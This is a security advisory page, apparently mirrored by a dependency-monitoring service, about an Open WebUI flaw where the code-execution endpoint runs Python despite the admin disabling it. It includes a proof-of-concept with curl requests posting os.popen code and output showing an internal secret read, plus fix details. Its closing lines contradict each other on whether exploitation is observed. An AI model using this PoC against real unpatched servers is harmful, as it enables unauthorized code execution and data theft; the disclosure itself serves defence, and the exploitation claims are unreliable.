Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-482j-2pq6-q5w4
No affected components available
Summary
The /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes.
Details
The admin configuration correctly shows ENABLE_CODE_EXECUTION: false. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.
PoC
Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.
Setup: Jupyter server connected, ENABLE_CODE_EXECUTION=false confirmed in admin config.
# Step 1: Verify code execution is disabled
curl -s http://target:8080/api/v1/configs/code_execution \
-H "Authorization: Bearer $TOKEN"
# Returns: {"ENABLE_CODE_EXECUTION": false, ...}
# Step 2: Execute code anyway — gate bypassed
curl -s -X POST http://target:8080/api/v1/utils/code/execute \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"code":"import os; print(os.popen(\"id\").read())"}'
Verified output:
Config: {"ENABLE_CODE_EXECUTION":false,"CODE_EXECUTION_ENGINE":"jupyter",...}
execute_status=200
execute_body={"stdout":"OPEN-WEBUI-SSRF-SECRET","stderr":"","result":""}
The PoC read the internal secret service content via Jupyter — despite ENABLE_CODE_EXECUTION=false. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector.
Impact
Any authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution:
- Arbitrary code execution in the Jupyter container (read files, spawn processes)
- Network access to all internal Docker services from the Jupyter container
- Data exfiltration from internal services
- The admin's security configuration (
ENABLE_CODE_EXECUTION=false) is silently ineffective - Users who are told "code execution is disabled" have a false sense of security
Resolution
Fixed in commit 6d736d3c5, first released in v0.8.12. The /api/v1/utils/code/execute handler in backend/open_webui/routers/utils.py now checks request.app.state.config.ENABLE_CODE_EXECUTION before dispatching to the Jupyter engine and returns 403 with FEATURE_DISABLED('Code execution') when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on >= 0.8.12 are not affected.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard